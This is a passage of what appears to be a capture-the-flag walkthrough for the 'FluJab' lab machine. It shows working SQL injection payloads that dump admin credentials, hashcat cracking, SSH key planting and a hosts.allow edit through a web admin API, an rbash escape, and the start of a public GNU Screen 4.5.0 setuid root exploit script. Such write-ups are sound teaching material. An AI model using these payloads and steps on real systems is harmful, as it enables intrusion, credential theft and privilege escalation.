      <h2>Patient Emailer Configuration Settings</h2>
      <h2>Current Setting = SMTP: :25</h2>
    </header>
    <!-- Contact Form -->
    <section>
      <form method="post" action="?smtp_config">
        <div class="row aln-center">
          <div class="col-6 ">
            <input type="text" name="mailserver" id="email-server" value="smtp.flujab.htb" pattern="smtp.[A-Za-z]{1,255}.[A-Za-z]{2,5}" title=" A Valid SMTP Domain Address Is Required"/>
            <input type="hidden" name="port" id="port" placeholder="25" value="25" />
          </div>
          <div class="col-12">
            <p>
              WARNING: Only <a href="/?whitelist">whitelisted sysadmins</a> are authorized to 
              access this page! <br \> If you are not supposed to 
              change these settings then don't! whitelist will be 
              auto-updated.
            </p>
            <ul class="actions">
              <li><input type="submit" class="style1" value="Save Mail Server Config" name="save" /></li>
            </ul>
          </div>
        </div>
      </form>
    </section>
  </div>
</div>
...omitted...
```

The `mailserver` parameter only accepts a certain pattern which could be bypassed by changing the input ***value*** to anything you want or by intercepting the request and changing the values there.

```
$ data="mailserver=10.10.15.10&port=25&save=Save+Mail+Server+Config"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?smtp_config
```

```markup
...omitted...
<h2>Patient Emailer Configuration Settings</h2>
<h2>Current Setting = SMTP: 10.10.15.10:25</h2>
...omitted...
```

All that is left is to set-up an SMTP server locally and wait for messages after booking an appointment:

```
$ python -m smtpd -c DebuggingServer -n 10.10.15.10:25
```

> From the [Python smtpd documentation](https://docs.python.org/3/library/smtpd.html):
>
> DebuggingServer Objects
>
> class smtpd.DebuggingServer(localaddr, remoteaddr)
>
> Create a new debugging server. Arguments are as per SMTPServer. Messages will be discarded, and printed on stdout.

```bash
$ data="date=2018-11-30&time=09:00&fname=john&lname=walker&nhsnum=&submit=Request+Appointment"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?book
```

Checking the started mailserver after booking:

```
---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: jwalker@tuta.io
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:NHS-921-376-3922
Message-ID: <6c7e8490856eef3377e672b3684e342b@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124

  Dear Mr john walker,

  Here are the details of your appointment at our surgery.
  ________________________

    VACCINATION
    Routine Priority
    ------------------    
    REF    : NHS-921-376-3922 
    Code   : Influ-022
    Type   : Injection
    Time   : 09:00
    Date   : 2018-11-30
    LOC    : Crick026 
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.

------------ END MESSAGE ------------
```

An ***NHS Number*** was supplied in the email even though it was left empty during the request. This proves that the setup works. Now checking if the response after booking an appointment is different from asking for a reminder.

```
$ data="nhsnum=NHS-921-376-3922&submit=Send+Reminder"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?remind
```

```markup
...omitted...
<script>alert("Email Error: You must provide at least one recipient email address.");</script>
...omitted...
```

Now, the request requires an **`email`** parameter:

```
$ data="nhsnum=NHS-921-376-3922&submit=Send+Reminder&email=DutyNurse@flujab.htb"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?remind
```

After sending the request, the mailserver responds with:

```
---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: DutyNurse@flujab.htb
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:NHS-921-376-3922
Message-ID: <64c2cbafd6e671ec34e3803202871fdc@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124

  Dear Mr john walker,

  Here are the details of your appointment at our surgery.
  ________________________
    VACCINATION
    Routine Priority
    ------------------    
    REF    : NHS-921-376-3922    
    Code   : Influ-022
    Type   : Injection
    Stat   : CANCELED 
    LOC    : Crick026
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.

------------ END MESSAGE ------------
```

Asking for a reminder cancels an appointment... something might be up with this page.

Since the `nhsnum` parameter is not really required during requests, maybe it could be used for "injection":

### TEST #1 : Fuzzing

```bash
$ data="nhsnum=test&submit=Send+Reminder&email=DutyNurse@flujab.htb"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?remind
```

```
---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: DutyNurse@flujab.htb
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:
Message-ID: <655bc8a49b3bdd6acc1dae82abdec5fb@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124

  Dear Mr john walker,

  Here are the details of your appointment at our surgery.
  ________________________

    VACCINATION
    Routine Priority
    ------------------    
    REF    : test    
    Code   : Influ-022
    Type   : Injection
    Stat   : CANCELED 
    LOC    : Crick026
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.

------------ END MESSAGE ------------
```

> The `Subject` header changed: `Subject: Flu Jab Appointment - Ref:`
>
> The `REF` changed: `REF : test`

### TEST #2 : Header Injection using CRLF

```bash
$ data="nhsnum=NHS-921-376-3922%0d%0aSubject:%20test&submit=Send+Reminder&email=DutyNurse@flujab.htb"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?remind
```

```
---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: DutyNurse@flujab.htb
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:
Message-ID: <c9fb2cef453e9a4ca88691ad507d6af1@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124

  Dear Mr john walker,

  Here are the details of your appointment at our surgery.
  ________________________

    VACCINATION
    Routine Priority
    ------------------    
    REF    : NHS-921-376-3922
Subject: test    
    Code   : Influ-022
    Type   : Injection
    Stat   : CANCELED 
    LOC    : Crick026
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.

------------ END MESSAGE ------------
```

> `Flu Jab Appointment - Ref:` at the `Subject` header still remains empty
>
> "**`\r\n`**" was only passed in `REF`

### TEST #3 : SQL Injection

```bash
$ data="nhsnum='+OR+'1'='1&submit=Send+Reminder&email=DutyNurse@flujab.htb"

$ curl -b $cookie -d $data -k https://freeflujab.htb/?remind
```

```
---------- MESSAGE FOLLOWS ----------
Date: ..., .. May 2019 ..:..:.. +0100
To: DutyNurse@flujab.htb
From: Nurse Julie <DutyNurse@flujab.htb>
Subject: Flu Jab Appointment - Ref:NHS-943-475-5911
Message-ID: <086a0e84f07f82f4e4f384a78f8dd9ac@freeflujab.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Peer: 10.10.10.124

  Dear Mr john walker,

  Here are the details of your appointment at our surgery.
  ________________________

    VACCINATION
    Routine Priority
    ------------------    
    REF    : ' OR '1'='1    
    Code   : Influ-022
    Type   : Injection
    Stat   : CANCELED 
    LOC    : Crick026
  ________________________

  We look forward to seeing you.
  Have a nice day,

  Nurse Julie Walters
  Senior Staff Nurse
  Cricklestone Doctors Surgery
  NHS England.

------------ END MESSAGE ------------
```

> `Ref:NHS-943-475-5911` appears in the `Subject` header which is different from the initial queries (`Ref:NHS-921-376-3922`)
>
> It's now highly probable that the server is vulnerable to **SQL injection**

### SQL #1 : DATABASE TYPE

Checking what database the service is using using the vulnerability found in the **`nhsnum`** parameter:

```sql
' OR sqlite_version()=sqlite_version() #
```

No message was sent to the mailserver.

```sql
' OR crc32('MySQL')=crc32('MySQL') #
```

It returns a successful query (**`Subject: Flu Jab Appointment - Ref:NHS-943-475-5911`**) which means the service is using **MySQL**

> SQLite will use `sqlite_master` to enumerate database content
>
> MySQL will use `information_schema` to enumerate database content

### SQL #2 : QUERY COLUMNS

In order to perform ***UNION*** based SQL injections, it is essential to know how many columns are being returned by the original query.

```python
import requests as r

target = "https://freeflujab.htb/?remind"

cookies = {
    "Modus": "Q29uZmlndXJlPVRydWU%3D",
    "Patient": "daf23866abcb8e29ecee6d3da0caa992",
    "Registered":  "ZGFmMjM4NjZhYmNiOGUyOWVjZWU2ZDNkYTBjYWE5OTI9VHJ1ZQ%3D%3D"
}

query_columns = 1
while True:

data = {
    "nhsnum": "' OR '1'='1' ORDER BY %d #" % (query_columns + 1),
    "submit": "Send Reminder",
    "email": "DutyNurse@flujab.htb"
}

req = r.post(target, allow_redirects=False, cookies=cookies, data=data, timeout=1000, verify=False)

if data["email"] not in req.text: break
else: query_columns += 1

print("THE ORIGINAL QUERY HAS %d COLUMNS" % (query_columns))
```

```
$ python union.py

  THE ORIGINAL QUERY HAS 5 COLUMNS
```

### SQL #3 : INFORMATION LEAKS

Now checking which column leaks information during query:

```sql
' AND '1'='1' UNION SELECT 'one','two','three','four','five' #
```

```
...omitted...
Subject: Flu Jab Appointment - Ref:three
...omitted...
```

The third column is output to the `Subject` header

### SQL #4 : DATABASE INFORMATION

```sql
' AND '1'='1' UNION SELECT 1,2,@@version,4,5 #
```

```
...omitted...
Subject: Flu Jab Appointment - Ref:10.1.37-MariaDB-0+deb9u1
...omitted...
```

```sql
' AND '1'='1' UNION SELECT 1,2,system_user(),4,5 #
```

```
...omitted...
Subject: Flu Jab Appointment - Ref:root@localhost
...omitted...
```

```sql
' AND '1'='1' UNION SELECT 1,2,database(),4,5 #
```

```
...omitted...
Subject: Flu Jab Appointment - Ref:vaccinations
...omitted...
```

The system is using `MariaDB` (just the same as **MySQL**) and is being hosted by the **`root`** user which meand that using high privilege commands should not be a problem.

The current database used by the service is `vaccinations`

### **SQL #5 : DATA EXFILTRATION**

Now that we have everything we need to perform UNION based SQL injections, let's start by enumerating table names in the **`vaccinations`** database:

```sql
' AND '1'='2' UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database(); #
```

```
...omitted...
Subject: Flu Jab Appointment - Ref:admin,admin_attribute,admin_password_request,adminattribute,admintoken,attachment,attribute,bounce,bounceregex,bounceregex_bounce,config,eventlog,i18n,linktrack,linktrack_forward,linktrack_ml,linktrack_uml_click,linktrack_userclick,list,listmessage,listuser,message,message_attachment,messagedata,sendprocess,subscribepage,subscribepage_data,template,templateimage,urlcache,user,user_attribute,user_blacklist,user_blacklist_data,user_history,user_message_bounce,user_message_forward,user_message_view,usermessage,userstats
...omitted...
```

There is an **`admin`** table which might contain useful credentials.

```sql
' AND '1'='2' UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_schema=database() AND table_name='admin'; #
```

```
...omitted...
Subject: Flu Jab Appointment - Ref:id,loginname,namelc,email,access,created,modified,modifiedby,password,passwordchanged,superuser,disabled,privileges
...omitted...
```

Dumping all values based on the column names listed above for the **`admin`** table:

```sql
' AND '1'='2' UNION SELECT 1,2,group_concat(<column_name>),4,5 FROM admin; #
```

| COLUMN          | VALUE                                                            |
| --------------- | ---------------------------------------------------------------- |
| id              | 1                                                                |
| loginname       | sysadm                                                           |
| namelc          | administrator                                                    |
| email           | <syadmin@flujab.htb>                                             |
| access          | sysadmin-console-01.flujab.htb                                   |
| created         | 2018-07-02 08:45:19                                              |
| modified        | 2018-12-02 00:01:02                                              |
| modifiedby      |                                                                  |
| password        | a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602 |
| passwordchanged | 2018-07-02                                                       |
| superuser       | 1                                                                |
| disabled        | 0                                                                |
| privileges      |                                                                  |

> A new subdomain presents itself (`sysadmin-console-01.flujab.htb`)
>
> The `password` is encrypted using **SHA-256**:

```
$ hashcat --force -m1400 a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602 /usr/share/wordlists/rockyou.txt 

  a3e30cce47580888f1f185798aca22ff10be617f4a982d67643bb56448508602:th3doct0r
```

The password for `sysadm` is `th3doct0r`

## PART 4 : GENERATE USER SHELL

Add **`sysadmin-console-01.flujab.htb`** to local **`/etc/hosts`**:

```
127.0.0.1       localhost
127.0.1.1       kali f
...
10.10.10.124    sysadmin-console-01.flujab.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

Accessing **`https://sysadmin-console-01.flujab.htb`**:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZ67vVO7NuV8m48rY1%2F-MjZUAMAptgHZkh6Jm44%2Fimage.png?alt=media\&token=2d0b9890-d9fb-4c21-803e-626b268b4ba9)

Accessing over port ***8080*** (**`https://sysadmin-console-01.flujab.htb:8080`**):

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZ67vVO7NuV8m48rY1%2F-MjZUGnEKEuHxQrqdYM4%2Fimage.png?alt=media\&token=f6460873-f721-48a6-9163-4bc9dcac386e)

And checking the server response by requesting over `curl`:

```
$ curl -I -k https://sysadmin-console-01.flujab.htb:8080
```

```http
HTTP/1.1 301 Moved Permanently
Date: ..., .. May 2019 ..:..:.. GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://clownware.htb/cwerror_denied.php
Server: ClownWare Proxy
```

The page has a **Permanent Redirect**(***301***) to `.../cwerror_denied.php` and it may be suffering from a ***cached redirect***:

> Cached redirects could be bypassed by adding a ***trailing slash*** ("/") or a ***unique*** parameter that hasn't been cached (**`/?`**, **`/?something_unique`**, or **`/?unique=something`**)

There was a `urlcache` table in the `vaccinations` database which may give a lead on how to proceed.

Check the `urlcache` table in `vaccinations` using `nhsnum` in **`/?remind`**

```sql
' AND '1'='2' UNION SELECT 1,2,group_concat(column_name),4,5 FROM information_schema.columns WHERE table_schema=database() AND table_name='urlcache'; #
```

```
Subject: Flu Jab Appointment - Ref:id,url,lastmodified,added,content
```

```sql
' AND '1'='2' UNION SELECT 1,2,group_concat(url),4,5 FROM urlcache; #
```

```
Subject: Flu Jab Appointment - Ref:
```

There doesn't seem to be anything cached on the server. Clearing the browser cache (`Ctrl + Shift + Del` for FireFox) might help.

Revisit **`https://sysadmin-console-01.flujab.htb:8080/?`**:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZ67vVO7NuV8m48rY1%2F-MjZVqDByUkFDEqrqPsN%2Fimage.png?alt=media\&token=0c3d8e2e-f813-44f1-b656-6733b5aada1c)

The redirect no longer goes to **`.../cwerror/denied.php`**. Instead, it now redirects to an ***Ajenti*** login page and using `sysadm:th3doct0r` redirects you to:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MjZ67vVO7NuV8m48rY1%2F-MjZVvb2LQ5KjUnYrO2m%2Fimage.png?alt=media\&token=9adb2072-eb00-4a91-910c-d3b3eefc1027)

There is a ***Notepad*** plugin in the Ajenti service and the first thing I did was to enumerate the system users **`https://...:8080/view/notepad//etc/passwd`**:

```
root:x:0:0:root:/root:/bin/bash
...
drno:x:1000:1000:drno,,,:/home/drno:/bin/rbash
...
nursejackie:x:1002:1006:,,,:/home/nursejackie:/bin/rbash
sysadm:x:1003:1007:,,,:/home/sysadm:/bin/rbash
drblack:x:1004:1008:,,,:/home/drblack:/bin/rbash
drwhite:x:1005:1009:,,,:/home/drwhite:/bin/rbash
drstrange:x:1006:1010:,,,:/home/drstrange:/bin/rbash
drfoster:x:1007:1011:,,,:/home/drfoster:/bin/rbash
dryi:x:1008:1012:,,,:/home/dryi:/bin/rbash
drpo:x:1009:1013:,,,:/home/drpo:/bin/rbash
drsmith:x:1010:1014:,,,:/home/drsmith:/bin/rbash
drjones:x:1011:1015:,,,:/home/drjones:/bin/rbash
drgreene:x:1012:1016:,,,:/home/drgreene:/bin/rbash
drshipman:x:1013:1017:,,,:/home/drshipman:/bin/rbash
drwho:x:1014:1018:,,,:/home/drwho:/bin/rbash
nursepeter:x:1015:1019:,,,:/home/nursepeter:/bin/rbash
nurseyi:x:1016:1020:,,,:/home/nurseyi:/bin/rbash
nursemoe:x:1017:1021:,,,:/home/nursemoe:/bin/rbash
drcrick:x:1018:1022:,,,:/home/drcrick:/bin/rbash
drstones:x:1019:1023:,,,:/home/drstones:/bin/rbash
nursewhitstone:x:1020:1024:,,,:/home/nursewhitstone:/bin/rbash
nursetumble:x:1021:1025:,,,:/home/nursetumble:/bin/rbash
nursewaters:x:1022:1026:,,,:/home/nursewaters:/bin/rbash
nursewalters:x:1023:1027:,,,:/home/nursewalters:/bin/rbash
nursebluecoats:x:1024:1028:,,,:/home/nursebluecoats:/bin/rbash
drme:x:1025:1029:,,,:/home/drme:/bin/rbash
drnu:x:1026:1030:,,,:/home/drnu:/bin/rbash
drre:x:1027:1031:,,,:/home/drre:/bin/rbash
drdre:x:1028:1032:,,,:/home/drdre:/bin/rbash
```

There are a lot of system users and all but root has a restricted shell (**`/bin/rbash`**) and a mismatch of `uid`s and `gid`s

Listing the contents of all the user directories, most are inaccessible except for the current user (**`sysadm`**) and **`drno`** which has an **`~/.ssh`** directory which contains a **`userkey`** file:

```
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6F8D2ABE85DA1FE16846D997BD04E40B

zPiYgS5/LZqDZr4tFLHiOsym/baRcXmGsYwD5bI2GdH8SaQFLzp5vuWGvYlPtFB8
w4BrkWpTp8GcMhTPXxu70iVpw2zRpfsUYBDasNvydexzIWZETs9rQnvTqslxCQz5
wMILkyVB4V2223X83ym3y/4I9dduVsqq9WAyOUn2fW4nIQb8SJ3CfxN2Ynq/bJay
v+fmPexUoCiYQR80QuNoqdhSUKVCmgS2ONWg7DLIIl9U+EhpRrd/6iqBF6YE/xKq
OoOSSiIIzaLA1EJPoNF4xueqyqbek3OApuDAzblxTMWL3G7qKaHWPzk93qdRS+Hy
gpYYy2vVmAG0R9c37pGs9LA1zM2OfALz4kHAErcHa+/E29FIv7verD2xOtcV93K1
thkAdv++tIuOE4ChHX6XZn4pvtTceHQYjHbHur2KBenzR/M8i3fuXPp7BHHMGJWT
jRn6aHN2qDio8IAVCcjPonWQ3yKVr21Xx8fJ9QcNLoUld9EPv3sOcSdegu7yOWyf
RUDgtdtz3Nw7z7QkwEKO+NE6f+iFQ/3s0qxcn8MRTCvquun4K4WcSTepbacd2ulT
jSnjBlVNVKvICaLZ1ulfOMXN/H0b1fVTjCxE3lbih7gpJb6jzvl7w+mJCgzPRgm/
S9xnnM+LinVh5NGNZj3Itaay3DZLAcY4MP03E77yu7BfaqnIw0yWUOiLslekhG2K
nWQoaMsxIOLrlTotvTB+uoRvxEu2qGmV8HbGgSkb6rqoFbVXcJYgDw2ZmDhDoGfH
M6Ud9IcBOsve1BsfhJepQtm/4JhsRv3alzIu1YuRvWeNINk6R7nDE8Et7xlnWqKT
0QB6pfOYSOkLpO8l71OvGnKWz3iRbe2+1qooW26O3VK38b2rZ316QeXkBt5giayw
4L8jU9ttEYAH/VgHXfQTfMm1BIUSCQWEL0yv5Lg7XYszYn3jnDgc39XbUATYBE5o
GAz2H3B4w7SjU8Swga7ZaoIq97trAFZIa1zaaow67+o6h9W49oMlBoDsL1+HFAv2
hvzmY0ycsisrSlSdb6DPDfA+0KErrXGu54PT+j3qhr67CdjWPkK1yz7+jeATf+DR
i+tYHty6t8AsilotmNHCYfXszOsnk5xNP6CZV8WbcXUB01FGzuVE1+bQ0YsuVuUd
hiEMZVTvG4L70u7zWckeAzvj5nSK0zHXYHg7ZkkOwJ+9CKGshGOhawbV4nfCPx1a
q6EXq9Onf6LAdXVWexCXjaFj5lvgBdYTxRL1ODMAmfpAuwYgq6iIjTz8Kc08U83e
h+M4tQlajjSjsY4FmSmM8c8Nl7aPyBxk9bEkhzCW2TE7RuSBfH1lLS2jbXsM/csl
BlLL6+kjbRWHmmTk90xkkIYnkOOeA3klzYHWrDj3X86c/p02cOoVWSUFr5a1Kxul
9iDmxMcYSBCp77+gedT5kB+1gOqrk60lfAgJWxi0CqAhzjMfP4p/n3NkrKT6R+jI
LSLiIuex63EKHhEdZISPsG9/cMBSckZ/oh86TQuZVagkXcQpIpNKEWwIv4yJIbji
ISRFtN80+FMrhQf/+CLpoK5RHRNXNq38ztg2GJVPiTN0rN+3Vk0ZI6PeZVuHzW7r
-----END RSA PRIVATE KEY-----
```

Exporting the found private key and then connecting to 10.10.10.124 via `ssh`:

```
$ chmod 400 userkey

$ ssh -i userkey -l drno 10.10.10.124

  ssh_exchange_identification: Connection closed by remote host
```

The connection should work but it doesn't. Opening the **`/etc/ssh/sshd_config`** file in the ***Ajenti Notepad*** to see how private keys are read:

```
# $OpenBSD: sshd_config,v 1.100 2016/08/15 12:32:04 naddy Exp $ 

...omitted...

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
AuthorizedKeysFile .ssh/authorized_keys access

...omitted...
```

Public keys are read from `.ssh/authorized_keys` and/or `access` and reading from **`/home/drno/.ssh/authorized_keys`**:

```
# shell whitelisting + key auth enabled 
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqTfCP9e71pkBY+uwbr+IIx1G1r2G1mcjU5GsA42OZCWOKhWg2VNg0aAL+OZLD2YbU/di+cMEvdGZNRxCxaBNtGfMZTTZwjMNKAB7sJFofSwM29SHhuioeEbGU+ul+QZAGlk1x5Ssv+kvJ5/S9vUESXcD4z0jp21CxvKpCGI5K8YfcQybF9/v+k/KkpDJndEkyV7ka/r/IQP4VoCMQnDpCUwRCNoRb/kwqOMz8ViBEsg7odof7jjdOlbBz/F9c/s4nbS69v1xCh/9muUwxCYtOxUlCwaEqm4REf4nN330Gf4I6AJ/yNo2AH3IDpuWuoqtE3a8+zz4wcLmeciKAOyzyoLlXKndXd4Xz4c9aIJ/15kUyOvf058P6NeC2ghtZzVirJbSARvp6reObXYs+0JMdMT71GbIwsjsKddDNP7YS6XG+m6Djz1Xj77QVZbYD8u33fMmL579PRWFXipbjl7sb7NG8ijmnbfeg5H7xGZHM2PrsXt04zpSdsbgPSbNEslB78RC7RCK7s4JtroHlK9WsfH0pdgtPdMUJ+xzv+rL6yKFZSUsYcR0Bot/Ma1k3izKDDTh2mVLehsivWBVI3a/Yv8C1UaI3lunRsh9rXFnOx1rtZ73uCMGTBAComvQY9Mpi96riZm2QBe26v1MxIqNkTU03cbNE8tDD96TxonMAxE=
```

It reveals that the remote connections must be ***whitelisted*** and that the public key requires a **passphrase**

Editing **`/etc/hosts.allow`** to whitelist your own IP address:

```
# grant ssh access per host
# syntax:
# sshd : [host ip]
###########################

sshd : 10.10.15.10
sshd : 127.0.0.1
```

Then retry the connection via `ssh`:

```
$ ssh -i userkey -l drno 10.10.10.124

   Enter passphrase for key 'userkey': 
   drno@10.10.10.124: Permission denied (publickey).
```

No credentials for **`drno`** has been found so far but what if a newly generated RSA key pair was written to `.ssh/authorized_keys` or `access`

```
$ ssh-keygen -t rsa -b 4096

  Generating public/private rsa key pair.
  Enter file in which to save the key (/home/.../.ssh/id_rsa): .ssh/id_rsa
  Enter passphrase (empty for no passphrase): flujab
  Enter same passphrase again: flujab
  Your identification has been saved in .ssh/id_rsa.
  Your public key has been saved in .ssh/id_rsa.pub.
  The key fingerprint is:
  SHA256:xHmVZlXhLq8Gp0FvcWd9IFKymV97HHM6BP3K3RxkEVw jebidiah@LAPTOP-C54THGLR
  The key's randomart image is:
    +---[RSA 4096]----+
    |          ..++o=E|
    |       . ..*=.++ |
    |        + =+ .=*o|
    |       . . o +.*X|
    |        S . oo**B|
    |           o +=o+|
    |            *  . |
    |           . ..  |
    |            ..   |
    +----[SHA256]-----+
```

Writing the **`id_rsa.pub`** file then changing its permissions using the Ajenti API:

```http
POST /api/filesystem/write//home/sysadm/access?encoding=utf-8 HTTP/1.1
Host: sysadmin-console-01.flujab.htb:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sysadmin-console-01.flujab.htb:8080/view/notepad//home/sysadm/access
Content-Type: application/json;charset=utf-8
Content-Length: 724
Connection: close
Cookie: ...

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCiZ+jqG9aLGvumbTF4wGsff1tooQuWOFvqSqna7O0hSdDIB43mwIy1yYGvhH75T9h4XkFc1PeWdflT14ox4M1imLIk8DMFHZLac9e/nEs+cJzmk+BDVG5AckG3DnSaa0f3ftfSsRVqCnD3SXdhYH+KKO2WaQRt4Nsv6BGcomnJm/b1vr/zn2fkwEiC0fI2cENvZ3HaEvVrVnDESc4TKPiPiZSZ8TnfMi++nDwVbZOroOoo1InrL3jSDYuuZR0Qn7TGMoh+anLBxdCRgQuPqav1br0g0OrTvr39IsfsCPNVSrknISPnzPvekaYJkoihdTwezbaCo63/wBhTk25nW+y57b3FRaCyUbBCw5+Qrshc5HNxYhfy1pujFkfVDfuKgZhUFIGJKqkFjX+DTJqulZL8LtyoWrhGVIBkYmblAIchc8ZXwzDnHPyezqTmrYTuSNipuFCYcVQ8iYXprIAXlNHFh4e0+mgnJ/J0QS5mvVQaDlRrZnB1s9/6VDSUH7W8X+ZbC4lKM816VHnBJDW/IZw+LK4jf4tndx2GZCsa8aI6u9WvUAfc5gHkrx5EZT2ewIbjNKdIeFOEY/2kCFypGGBB5758wgfS7MDbFtI1hgZ8+fGac3Bt2MEWKM2vO9IgBH8vaTbLvxIOs3gnTR3i/EPKh8IG8/VOwGneT4kNJQN+hQ==
```

The user, **`sysadm`**, has a writable home directory and the **`id_rsa.pub`** file is written to a file named, **`access`**. (referring to **`sshd_config`**)

```http
POST /api/filesystem/chmod//home/sysadm/access?encoding=utf-8 HTTP/1.1
Host: sysadmin-console-01.flujab.htb:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://sysadmin-console-01.flujab.htb:8080/view/notepad//home/sysadm/access
Content-Type: application/json;charset=utf-8
Content-Length: 12
Connection: close
Cookie: ...

{"mode":292}
```

According to the [`ajenti.filesystem` documentation](http://docs.ajenti.org/en/latest/refjs/filesystem.html), **`chmod`** accepts 2 arguments -- **`(path, mode)`** where **`mode`** accepts an integer value.

> **`chmod`** uses ***octal values*** for user, group, global, and other permissions
>
> The **octal value** for **`-r--r--r--`** is **`0444`** wchi in decimal (or integer value), **`0444`** is **`292`**.

Now, reconnecting to 10.10.10.124 via **`ssh`** using the generated RSA key pair and as user, **`sysadm`**:

```
$ chmod 400 .ssh/id_rsa

$ ssh -i .ssh/id_rsa -l sysadm 10.10.10.124
  Enter passphrase for key '.ssh/id_rsa': flujab

$ cd

  -rbash: cd: restricted
```

All users are trapped in a restricted shell (**`/bin/rbash`**):

```
$ python --version

  Python 2.7.13
```

But luckily, the shell accepts `python` instructions which could be leveraged for proper command execution:

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
```

## PART 5 : PRIVILEGE ESCALATION (sysadm -> root)

Check for **SUID files** owned by `root`:

```
$ find / -uid 0 -perm -4000 -type f 2>/dev/null

  ...omitted...
  /usr/local/share/screen/screen
  ...omitted...
  /usr/bin/screen
  ...omitted...
```

There are two binaries with the same name (**`screen`**) which can write files to the system using its **`-L Turn on output logging.`** option and checking the binaries' version:

```
$ /usr/local/share/screen/screen -v

   Screen version 4.05.00 (GNU) 10-Dec-16

$ /usr/bin/screen -v

   Screen version 4.05.00 (GNU) 10-Dec-16

$ echo $PATH

  /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
```

Both are running **`version 4.05.00`** but **`/usr/local/share`** is not in the **`PATH`** variable which might mean that **`/usr/local/share/screen/screen`** might be a modified binary with an SUID bit.

Searching for available exploits using **`searchsploit`**:

```
$ searchsploit screen | grep 4.5

  GNU Screen 4.5.0 - Local Privilege Escalation            | exploits/linux/local/41154.sh
  GNU Screen 4.5.0 - Local Privilege Escalation (PoC)      | exploits/linux/local/41152.txt

$ searchsploit -m exploits/linux/local/41154.sh

    Exploit: GNU Screen 4.5.0 - Local Privilege Escalation
        URL: https://www.exploit-db.com/exploits/41154
       Path: /usr/share/exploitdb/exploits/linux/local/41154.sh
  File Type: Bourne-Again shell script, ASCII text executable, with CRLF line terminators
```

The exploit (**`41154.sh`**) contains:

```bash
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
